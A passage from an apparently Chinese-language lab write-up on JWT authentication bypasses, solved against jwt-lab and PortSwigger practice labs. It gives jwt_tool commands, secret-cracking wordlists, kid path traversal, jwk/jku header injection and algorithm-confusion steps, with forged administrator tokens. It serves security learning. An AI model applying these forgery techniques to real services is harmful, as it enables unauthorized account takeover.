algorithm='none')>>> encoded'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJuYW1lIjoiYWRtaW4ifQ.' 2.Exposed Key---泄露token公钥-修改对称加密算法(RS256)为对称加密算法(HS256)https://jwt-lab.herokuapp.com/authentication/hmac yJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiam9uZXMifQ.na_VLQwcH-fMUTR3dq8lE8o3i2PiXNzCS7L5qYqAtc0EpEcj4aU0Vgw_G0SZTO1kE3T8kakjVyYsvWxrtyrgieGZQ3gprmGe5U1Gfk5Fn95RXJX08unU0SHaafdVq_Y2jZnp6QMTcnH7UHUOeoCGj2Mpo0ADaxJEjdMNRG55HbiI9cM8ERV-hlob3YWw78BPbbKixeRqveSaaa78ZzJbCyP0LcxCd8poi-hTmwN_JPMlw5LP04vjdcfzaToPX5RvPh7Kt3DaNd-yYN2aWW5vOIScYBpVcLwfI4FaSQK_nWMHgUdSh_fhY7cJDS1Z6V8kR4JPTaRtDTO_UbvcI7d71A;得到:eyJuYW1lIjoiYWRtaW4ifQ得到:eyJhbGciOiJIUzI1NiJ9python jwt_tool.py -X k -pk public.pem eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ. 得到:eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ.y65I9S3UiREQPUe0XREshv1sv0vyB0E-kjW_o14gM3s 3.Signature Not Checked---未进行签名校验https://jwt-lab.herokuapp.com/authentication/signature得到:eyJuYW1lIjoiYWRtaW4ifQ最终组合得到:eyJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ 4.The signature is weak---密钥存在弱口令https://jwt-lab.herokuapp.com/authentication/weakeyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiam9uZXMifQ.AIGlbhn-NyYe01sz04Cd8BvNAT42hv_N0R1Caq4ELDo python3 jwt_tool.py eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiam9uZXMifQ.AIGlbhn-NyYe01sz04Cd8BvNAT42hv_N0R1Caq4ELDo -C -d /usr/share/wordlists/fasttrack.txt 字典:https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/worst-passwords-2017-top100-slashdata.txt 得到token:eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ._gDs9V-6by-T2sF5C_VXQn7WPOZ_YkAfg0nx-pzLMQk或者运行 python3 jwt_tool.py eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4ifQ. -S hs256 -p "iloveyou" 5.Vulnerable Kid——KID参数存在任意文件读取漏洞https://jwt-lab.herokuapp.com/authentication/kideyJraWQiOiJyc2FfcHJpdmF0ZSIsImFsZyI6IkhTMjU2In0.eyJuYW1lIjoiam9uZXMifQ.FfeWpjpD-Fw94wHlOq-vwRazbwqoK3EFZYay9FAWHyo 参考 Attacking JSON Web Tokens (JWTs) 5. Use arbitrary files to verify 小节解决了问题,kid 设置为 /dev/null,这在 Linux 下可以绕过。 -I 对当前声明进行注入或更新内容,-hc kid 设置现有 header 中 kid,-hv 设置其值为 "../../dev/null",-pc 设置 payload name,-pv 设置 name 值为 "admin" python3 jwt_tool.py eyJraWQiOiJyc2FfcHJpdmF0ZSIsImFsZyI6IkhTMjU2In0.eyJuYW1lIjoiam9uZXMifQ.FfeWpjpD-Fw94wHlOq-vwRazbwqoK3EFZYay9FAWHyo -I -hc kid -hv "../../dev/null" -pc name -pv "admin" -S hs256得到token:eyJraWQiOiIuLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJuYW1lIjoiYWRtaW4ifQ.2W2AnxRjGFMVB16vqZOgjPktZjNpOmgZca4UWTk31FE 0x07 靶场练习(二)1.未对签名进行验证使用帐户wiener,密码peter登录系统 https://0aec0012041484c1c03176dc00c00005.web-security-academy.net/my-account然后点击my-account,抓包获取JWT 修改 sub 属性为 administrator由于jwt没有对修改的payload进行校验,可将修改后的数据生成的token拷贝出来,然后替换掉之前的toekn进行登录认证 2.未对加密算法进行强验证使用帐户wiener,密码peter登录系统 https://0ad100cd04ee849ac0ab7df5009d0036.web-security-academy.net/login 然后点击my-account,抓包可获取JWT的token值https://0ad100cd04ee849ac0ab7df5009d0036.web-security-academy.net/my-account修改 sub 属性为 administrator,修改 alg 为 none。修改后生成新的token,且拷贝出来进行修改:eyJraWQiOiI4OWRhN2Q0ZC1kNmFhLTRiZTQtYTI0Mi1kNWMzNTc3NDJiZjEiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NjI5NTI4MDd9.cVrs_sexQqE7ekeQGnRxsByuGzl7c10sIG2bCBcC7agmUohCycpXMr3iVVT-9MTNWQQzo2zzbgtdsIlkq4JXV7wpXyj21wfS9vgyJ95xb49loXZgPhttipHrfOpySV1z6OtlAbnTxXv0h21DQ6h52ErlzCg44N3xvupSkza02njlNSjctAHYBw4UCBl1mz7B2sfbhejNFLSrw_Q_9pvvnwHuyPRvkHdRLG7cW-hrIWDSopM1y_veqKKptiq6GE10Sv4ZrZanNBH0a1fIY3a91edf8YZOeULpI7fBt78WixW3Phgx3n6rDVyHL1fJt6QTvTshAa-VRKqSBLnASASNiA这里还需要将我们的 Signature 删除掉,因为 Signature 是通过 alg 算法生成的,但要保留”分割点”,让其成为 JWT 的形式。最终得到tokeneyJraWQiOiI4OWRhN2Q0ZC1kNmFhLTRiZTQtYTI0Mi1kNWMzNTc3NDJiZjEiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NjI5NTI4MDd9.通过获得的toekn进行认证请求访问/my-account路径,发现是adminsitroator权限 3. 爆破密钥进行越权操作使用帐户wiener,密码peter登录系统https://0aa7009a03c95cddc0e2154e00080000.web-security-academy.net/login 然后点击my-account,抓包可获取JWT的token值 https://0aa7009a03c95cddc0e2154e00080000.web-security-academy.net/my-account 获得token:eyJraWQiOiJkMDEwYzA1OC1kMzE4LTQ4YjYtYjYzYi1jYzZiYjAyNTNhZjIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk1NTAxOH0._K4yFGJl-AsmrCGwNYkIQG2l0BMu08_YUxQgHfJmb9g 爆破需要字典,这里是我在本道靶场中使用的 字典https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list使用jwt_tool.py对密钥进行爆破 python3 jwt_tool.py eyJraWQiOiJkMDEwYzA1OC1kMzE4LTQ4YjYtYjYzYi1jYzZiYjAyNTNhZjIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk1NTAxOH0._K4yFGJl-AsmrCGwNYkIQG2l0BMu08_YUxQgHfJmb9g -C -d /usr/share/wordlists/jwt.secrets.list.txt 得到密钥key为:secret1 通过在线jwt.io网站修改sub属性为administrator,以及输入密钥key:secret1,可生成新的token生成的新的token:eyJraWQiOiJkMDEwYzA1OC1kMzE4LTQ4YjYtYjYzYi1jYzZiYjAyNTNhZjIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NjI5NTUwMTh9.QRPgEv1IgyPkTx7ilN5eVcmx-6khAVNN48BTHG95PZg 4. jwk 标头注入绕过 JWT 身份验证使用帐户wiener,密码peter登录系统https://0a250038039978edc09b896e006c0069.web-security-academy.net/login然后点击my-account,抓包可获取JWT的token值 https://0a250038039978edc09b896e006c0069.web-security-academy.net/my-account 获得token:eyJraWQiOiI1NzAxMjZhYi1jMjIwLTRjNGItOGUyOS1jM2Q2ZTRhMWNlNGMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk1NzE5OX0.V_tgib9FFM63f7nGyTH-aJc2xunIk0pLm7TFOiyRAskrCbnAt9p5XUVl2pYOGwQOhWhWBroiKsFIZCmm4QXbw2oq7WpIVrZJhz5T9r4w_35WhTQA43O3YteyglqUY451WpfvqVqD1XzoP4WXeeeyrvNTSipBI6xObwJZxj6wT_KOjeLJHcKkXvHX61Dp2hzxwYcxohqzotjRY1G5vC3xbd2owXi2J58RVR1UpYu94Yk5IFHqspsK8Ol2ryaBAtiq16qPeEBnPqMWk3_kCqsexnLUjZFj0yR2ouqlyErLwlJs9S6qLF_A0sfrKowFmX3X38Ma_24D1yf9Re4o1DBrmw 通过jwk editor keys插件,插件中的 New RSA Key,生成 2048 长度的 JWK 私钥 选中 JSON Web Token 的界面。将 sub 的值从 “wiener” 修改为 “administrator”在JSON Web Token选项卡的底部,单击Attack,然后选择Embedded JWK。出现提示时,选择您新生成的 RSA 密钥并单击OK。在 JWT 的标头中,发现jwk添加了一个包含公钥的参数最终在serialized jwt中生成新的token:eyJraWQiOiIyMDA1MjNjMy02ODAzLTQyMWUtYjZhNC1mYWYzOWMxODZmMjQiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJlIjoiQVFBQiIsImtpZCI6IjIwMDUyM2MzLTY4MDMtNDIxZS1iNmE0LWZhZjM5YzE4NmYyNCIsIm4iOiJqRmlsUTk2cHJuOExFSW1YRWR4Rm1QMV9VVjRyeTZsMUtfUEJLekk3SGxQcml1RWhIb25LNHd5RjJsNWRFcHB5NHZRUXJQMEU3UUhCczluZlc5dEVyTlNwQzNSV2oxS2ZqTGJhT3hlTTR5cG1iZjYxS2g1c1JETVZJdWI5YWIyQ0pueHkyS3lUOW84aFF3dWVvcllrWWlhbUtPNkZ3ODg2ZnFUMDk2Ymp1cXFfRXhMRXh6ZWhFelZmdF9WemJ5cmJFMlVmdUtGNjkya3JBX3FUTDlyUlFJcEZKQm05TDRCSDFUSk14N2Y1ZFBMWGpYZVRNSjhwZGJURTBYYUtvSl80OEQ1RV93aVE4bjlwU2Z2cEVDWkRkNGY5QlN3d1JpRWF4cFd3ZDMtNEVibkRZdlRsOGhpOUpycElZUlk3UUI2WENYbzNUamJTNG9SaXJOM2pmeEhFZFEifX0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NjI5NTcxOTl9.KXZ6QKKYqmYw7nr5eJavrYU6GyKIVZhpeznp_9xWJIjbKB-UsVoFpuzqW7r4LlgNkGMbQwqr10pulVcbfzYyQoO4J4sboULidtQUs7BRNKphBAkFPOeZA4-X9ouJpzBqb7HYm1ZB5QMHMcg8v8BI1vM6NvWbCsvJNkiI7q6ap0KCD46ZQOaja5pU4pJMeSFEuQJmNaO790IXDwyZs4iac758tQGuomg4yDQWQkYKk94c5HQnqvPsUvRMDYi1FKUDJceEHuQE2JULsAo0jnyhwaXzivJ531ggIshh0LT2jeFuX0BWfPiyXum2dJOvyFq8MK6rP4AGxnzO0Vv1ksu_Tg通过该token可进行越权认证请求 5. jku 标头注入绕过 JWT 身份验证使用帐户wiener,密码peter登录系统https://0a65004103302ecbc16d2769008b0041.web-security-academy.net/login 然后点击my-account,抓包可获取JWT的token值 https://0a65004103302ecbc16d2769008b0041.web-security-academy.net/my-account 获得token:eyJraWQiOiIzN2I1MzQ4MC1jYjk4LTQ3YzktOWQ5ZC0zNmZmYzZiNzVkYzIiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk1OTAxMH0.EkSolvjsoG0cL6GHUvI1hRfFq-tZLy3OOsjs-zHBlCzbj-0XE343j7g1PoyfpTXFb4N8euAbHgd7wa4A3dRHIHQC9eSjjSxA57DdMCri8VH8hRh-aYSMU5ZEJa1s6Ni5pdERJikXgzaH1TwrLg_mwcpD-d4w5ZHTunB7mVGAK1g1LOx3qzYPbP8297h29Yi0fqxSkVhNqVCiSC-638qYbRIaxDVelJL08Q0LAQODd7ltJJXDbdg-R3VA3PAktdHgVAA1AJtpecv7FBYY-1NiQVJpldMXQaMrkzQbW2S5m52KxuSb26qVwebCSOOKoxxi1Im4lTPXtV1A4rR8dMcdtw通过jwk editor keys插件,插件中的 New RSA Key,在对话框中,单击Generate自动生成新的密钥对,然后单击OK保存密钥在靶场主页中点击go to exploit sever,跳转到一个临时的上传的文件服务器https://exploit-0a1600b903452ed0c167274e01aa0014.web-security-academy.net/将Body部分 的内容替换为空的 JWK Set,如下所示:返回JWT Editor Keys选项卡,右键单击刚刚生成的密钥,然后选择Copy Public Key as JWK将 JWK 粘贴到Body的文本中{ "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "86619e54-73bf-4b4b-bb35-a0cedd2db090", "n": "ohLNg1DBUNjdKWRPvgGILefX8kVPhsWGJVhGTevYMtkxdC2YSPtDPgvhTAUTjoS-PWThU_707226xNI_-KJlylV2zCQHqocheWA8wsTCBhuzDJrnl3euZ5z_BF2xOQmIvdd0Cmv5kUBmM0um8v6nDTCFU4MMI_AoCdlGQaUfpqJmuyyeUOetgd-V74XVmwE_-L6r4Gyuy_7wKwRAYkasyRFsHc5op4JbpaoHCyp1_wN00-_gQqn7AnteoFhZRz1iV2ArVnffRCp37MoMFNBKxCFdPrU70_W7APMiQXOeulmOKz_2txDvPYwQqxMfhDZHqC_u1JoTO4PKu_aZWmxh_Q" } ]} 然后点击store进行上传 在 JWT 的标头中,将kid参数的值替换为上传的jwks.json中的kid的值将jku参数添加到 JWT 的标头中。其值设置为上传的jwks.json的url地址{ "kid": "86619e54-73bf-4b4b-bb35-a0cedd2db090", "alg": "RS256", "jku":"https://exploit-0a1600b903452ed0c167274e01aa0014.web-security-academy.net/exp/jwks.json" }在有payload中,将sub声明的值更改为administrator在选项卡的底部,单击Sign,然后选择您在上一部分中生成的 RSA 密钥最终生成新的 token:eyJraWQiOiI4NjYxOWU1NC03M2JmLTRiNGItYmIzNS1hMGNlZGQyZGIwOTAiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZXhwbG9pdC0wYTE2MDBiOTAzNDUyZWQwYzE2NzI3NGUwMWFhMDAxNC53ZWItc2VjdXJpdHktYWNhZGVteS5uZXQvZXhwL2p3a3MuanNvbiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NjI5NTkwMTB9.d_i9zkv_mVh_EO8NyyUY9eOcLff1lKZzcvr1RRXL0AOX1x74HQIgvoqlqYdbjyvMyCg3Z_q8CeQVemoyyX7RJl0GL3LJAbOLASIwLtV_PaTBfPRPq1XGgcRetBjSteAyPI4X7Z5stUh7JT11bwzLGN2V5aAcfonmmNpqKJqvRbAw61IwAg-1DA6-oRjMGbU0ClOdkP4T9nm1RgbNvBTkO9hyDDS3kC7-zk380qzAvJT5NAEt9ytsARsLJwp_0w6b4llHFsxeFbpi1xdydgSRQbVQUJWH310M5K7VReXRvp0LxYTIHvXzOGTDhVVRQsS2oDGgJuBHBieN9RHVPYI-Rg 6. kid的目录遍历绕过 JWT 身份验证使用帐户wiener,密码peter登录系统然后点击my-account,抓包可获取JWT的token值 获得的token:eyJraWQiOiI0NWYzNGJjOC0yZTcwLTQ1YWItYWJkYy1mZDgyYzIwNTYyZjkiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk2MTQzMn0.3HMbF2C3BtgHGNOfjqKl7iXgldSv7ROec6NQHF_rrGc通过JWT Editor Keys选项卡。单击新建Symmetric Key,也就是对称密钥,并将生成的k属性值替换为 Base64 编码的空字节 ( AA==),如图在JWT的header中,将kid参数的值改为指向文件的路径遍历/dev/null,并在 JWT 有效负载中,将sub声明的值更改为administrator../../../../../../../dev/null在选项卡底部,单击Sign,然后选择您在上一部分中生成的对称密钥 eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NjI5NjE0MzJ9.yzxZrgITZhJTTVxeKTgF9qut5WH3d5OYGMdbZZN1T5E7.jwks.json 泄露的算法混淆攻击通过目录扫描工具发现jwks.json文件泄露https://0ac0002e041fdca6c0f01d0c00270080.web-security-academy.net/jwks.json 1.使用 Burp 中的JWT 编辑器扩展将 JWK 转换为 PEM ,如下所示:从keys数组内部复制 JWK 对象,删除"keys": [{和 }],最终复制的数据格式: {"kty":"RSA","e":"AQAB","use":"sig","kid":"0f61c581-485b-4a0a-acbf-0989cbe7e160","alg":"RS256","n":"wdY5WU21kdt9TXvTiprwgO9aVYodHpfw2NR7FzcIXpQMqeuE6OoTy0DFrDRl8SfZfoHSaIDOFUAdyAdoWro1xSX2fBAZqBUQNDWCh9agcE0kI0-cAn_lMfPJ9da0xspJNNca35DShWNuTVo8B1rCmO9CDz3frml51CW1J3qSqPzQRnWvcFnWFGWIDEwllBTDH9XY1sPCSDmC-uPkeV78c2JHqqGAiIXAQ9DQuT2ra8Eo7_44EO15HT5WlCoWKQ8jPX8HH40DvlwtOTTk0b6pGA3dPQJNoOzYEOwyY1ze-4pNalFCKfb8CItJxvMXCaT9ZZNXqsSU3mAkPBEeLd9I0Q"} 然后在生成的私钥中,选中 “Copy Public Key as PEM”,将其进行 base64 编码操作,保存一下得到的字符串。得到的公钥文件内容:-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3YA/YqYOtRCieMwn6GW3d048yNS1Nk4aaNILCxhykyhVoBVseAFH8E4Aaiwp3NNjgbUZP8G9i8UQa+vtqg6kCySEbziVbfvdoLU7C/nYPFXv7w3F2W37UBXcEtIg8Pmn9V3NigKHktTSTmgK/dGUsjf6pEryAHKhCKA4Zv4VCNecz4nnw/EYL3tmlyMt+Re95k/Cz/VHQ9prPrXZAvZCBmxbViUxkYq5B+CaH9zD4feH0LjcFkpDqn5pGth/sHqt08qrTHQocHFovk/8NSSenbFjfBbxeksKO7qq1oPuacI0yxtMEd1SVL5SlB/8PEFd74Unxq5T9W3q+/0dFgXdSwIDAQAB-----END PUBLIC KEY-----对生成的公钥文件内容进行base64编码:LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzWUEvWXFZT3RSQ2llTXduNkdXMwpkMDQ4eU5TMU5rNGFhTklMQ3hoeWt5aFZvQlZzZUFGSDhFNEFhaXdwM05OamdiVVpQOEc5aThVUWErdnRxZzZrCkN5U0ViemlWYmZ2ZG9MVTdDL25ZUEZYdjd3M0YyVzM3VUJYY0V0SWc4UG1uOVYzTmlnS0hrdFRTVG1nSy9kR1UKc2pmNnBFcnlBSEtoQ0tBNFp2NFZDTmVjejRubncvRVlMM3RtbHlNdCtSZTk1ay9Dei9WSFE5cHJQclhaQXZaQwpCbXhiVmlVeGtZcTVCK0NhSDl6RDRmZUgwTGpjRmtwRHFuNXBHdGgvc0hxdDA4cXJUSFFvY0hGb3ZrLzhOU1NlCm5iRmpmQmJ4ZWtzS083cXExb1B1YWNJMHl4dE1FZDFTVkw1U2xCLzhQRUZkNzRVbnhxNVQ5VzNxKy8wZEZnWGQKU3dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== 在 JWT Editor Keys 处,生成新的对称加密 Key 用之前保存的生成的公钥文件的 base64 编码值去替换 k 的值 { "kty": "oct", "kid": "4ba4ff0a-505d-4bee-a919-e5a6749a156b", "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEzWUEvWXFZT3RSQ2llTXduNkdXMwpkMDQ4eU5TMU5rNGFhTklMQ3hoeWt5aFZvQlZzZUFGSDhFNEFhaXdwM05OamdiVVpQOEc5aThVUWErdnRxZzZrCkN5U0ViemlWYmZ2ZG9MVTdDL25ZUEZYdjd3M0YyVzM3VUJYY0V0SWc4UG1uOVYzTmlnS0hrdFRTVG1nSy9kR1UKc2pmNnBFcnlBSEtoQ0tBNFp2NFZDTmVjejRubncvRVlMM3RtbHlNdCtSZTk1ay9Dei9WSFE5cHJQclhaQXZaQwpCbXhiVmlVeGtZcTVCK0NhSDl6RDRmZUgwTGpjRmtwRHFuNXBHdGgvc0hxdDA4cXJUSFFvY0hGb3ZrLzhOU1NlCm5iRmpmQmJ4ZWtzS083cXExb1B1YWNJMHl4dE1FZDFTVkw1U2xCLzhQRUZkNzRVbnhxNVQ5VzNxKy8wZEZnWGQKU3dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==" } eyJraWQiOiIwZjYxYzU4MS00ODViLTRhMGEtYWNiZi0wOTg5Y2JlN2UxNjAiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk2NTMyMX0.tfjdYJ3a3CXxFbhlftp0CathmoQHhwakQHbJahppcYbp5mn2fjcomN7Zn8Ay-E5PkBn5TM-7XaPI4smcJq40EqSDQzX1-M-R96JPZSMLbEDhZaTvpc8iQ6wCTtO5JidxV0xD6CY2tMavJPLncChMTdNa-SPO2923Tx0oQSXhTqh6w8TtdQq518lgmo9uBzCq3vV2ajEgmd4Ex4AhiPy9_kGV4o0015shktxKxbtANosFzwuFssEdQ8ppvBHq3NwXbLG-hr_ScU55G0YHpJvQf2jEYxVK3Pnl69fZ6G1Y-PsjrQY-fwBVVchhewHNj4ebN2JuduFnqcgYXZtYMwL-Yw 2.修改 alg 为 HS256,修改 sub 为 administrator。在选项卡底部,单击Sign,然后选择您在上一部分中生成的对称密钥,最后发包即可eyJraWQiOiIwZjYxYzU4MS00ODViLTRhMGEtYWNiZi0wOTg5Y2JlN2UxNjAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NjI5NjUzMjF9.NCC2bCRd6_6659YHNykAVYaGWtwElwCoJPaDuSWp4rc 8.没有泄露密钥的算法混淆攻击https://portswigger.net/users?returnurl=%2facademy%2flabs%2flaunch%2fe63829c5fb147e8e34a3e9a001773db6312f2a223a1062fd226f44290457da78%3freferrer%3d%252fweb-security%252fjwt%252falgorithm-confusion%252flab-jwt-authentication-bypass-via-algorithm-confusion-with-no-exposed-key如果系统中没有泄露的JWKS文件,可以使用以下脚本获得JWT对应的公钥pem文件:https://github.com/silentsignal/rsa_sign2n/tree/release/standalone $ docker build . -t sig2n $ docker run -it sig2n /bin/bash container$ python3 jwt_forgery.py <token1> <token2>参数:token1:第一次登录系统获得的jwt值 ,token2:退出第一次系统,然后重新登录后获得的jwt值1.获取服务器生成的两个JWTtoken1:eyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk3NjE5MH0.fK2aM0qWfDd5rfboFGszcXdxuwOJoVuUBhTsyJ8Jq1sQ5g4iyW1qgDEOnthqGgS3sMKr_pxoiaS45UvjNkBtY5ntGtiLAiZFui0jtW7vAb2hiU-46MTxfnKfujH21RWeNsM70NYZm4xtoRdNQbDQ3ANJELiSGNNMOElwBzwlVoXkYa3ULEZzUwpjiX-GRtWAmZZ-71kDTGBjB1Tc_3DeErSUXqPfu1JEKS6wa8eYoUCFaZ2JAAcDAdaczUXqQbK2MhDmna_-xuOr0fBnwj315yry0wkAUAJX3YuhWIqhAl0b6yfONT235g0lmDV5HnJaiTLoFrx9rQApCMgB4Y8Lwg token2: eyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk3NjMzNX0.KAIQvv6eEs4ECIkdOLo-20tLTRIybQ1Xe900L59aR5AZppMQMY6EmL9exXxYBCbrN4qBD_MxXQKizyUG5Y9E0OkgHRf2MR8vmw7ZTyIS31WSplw-rMlQhXClcQXbjrxQBaUUN2RrA84Rk2LEw4fTJkdj7KTsQksF9-wBEoGakIN8ifVHkHyKmPpbAfF-xDgycuPRP609dlM9T_N7ImJffKD2i4MpnQTg3QesQxUwDsKuOvyTxhK4ss1DbGol0S7L1lVSwl0gUJY0zlBk3WHpgPGFJDgqF2uV1gAn_TXaIuaoHmAfJfwUAumyNdqWjp4rc7nebeAL6EQdmRfi1oTk-w2.暴力破解服务器的公钥,执行脚本获得JWT以及对应的公钥pem文件python3 jwt_forgery.py eyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk3NjE5MH0.fK2aM0qWfDd5rfboFGszcXdxuwOJoVuUBhTsyJ8Jq1sQ5g4iyW1qgDEOnthqGgS3sMKr_pxoiaS45UvjNkBtY5ntGtiLAiZFui0jtW7vAb2hiU-46MTxfnKfujH21RWeNsM70NYZm4xtoRdNQbDQ3ANJELiSGNNMOElwBzwlVoXkYa3ULEZzUwpjiX-GRtWAmZZ-71kDTGBjB1Tc_3DeErSUXqPfu1JEKS6wa8eYoUCFaZ2JAAcDAdaczUXqQbK2MhDmna_-xuOr0fBnwj315yry0wkAUAJX3YuhWIqhAl0b6yfONT235g0lmDV5HnJaiTLoFrx9rQApCMgB4Y8Lwg eyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2Mjk3NjMzNX0.KAIQvv6eEs4ECIkdOLo-20tLTRIybQ1Xe900L59aR5AZppMQMY6EmL9exXxYBCbrN4qBD_MxXQKizyUG5Y9E0OkgHRf2MR8vmw7ZTyIS31WSplw-rMlQhXClcQXbjrxQBaUUN2RrA84Rk2LEw4fTJkdj7KTsQksF9-wBEoGakIN8ifVHkHyKmPpbAfF-xDgycuPRP609dlM9T_N7ImJffKD2i4MpnQTg3QesQxUwDsKuOvyTxhK4ss1DbGol0S7L1lVSwl0gUJY0zlBk3WHpgPGFJDgqF2uV1gAn_TXaIuaoHmAfJfwUAumyNdqWjp4rc7nebeAL6EQdmRfi1oTk-w然后按照先后顺序尝试测试每一个 Tempered JWT的个值eyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjYzMDU5MjMwfQ.fadlkuPOcCYPyoSeXdyg-akP6qmhoFM72QKEh_5nNSIeyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjYzMDU5MjMwfQ.9FcEVleIRXeXIEVAOH55K5ZZJ6jzUgUki81otH2btK0eyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjYzMDU5MjMwfQ.NAfeNbHguilK-z7HP0x842ZD6VD8MFCo0AvKu8rZAuIeyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjYzMDU5MjMwfQ.i6sky541Y8BU1FR77TXyts794IT3YwPO0sIwpx4QDRc当 Response 回应 200 时,代表 token 是有效的,若为 302 则代表了token无效那么当前有效的token为:eyJraWQiOiJhZGU0NWIzMC05NTY0LTQzZGItYTY0OS1kNzk3NGRkYWEwZjQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjYzMDU5MjMwfQ.NAfeNbHguilK-z7HP0x842ZD6VD8MFCo0AvKu8rZAuI 而当前有效的token又对应响应的公钥pem文件-----BEGIN PUBLIC 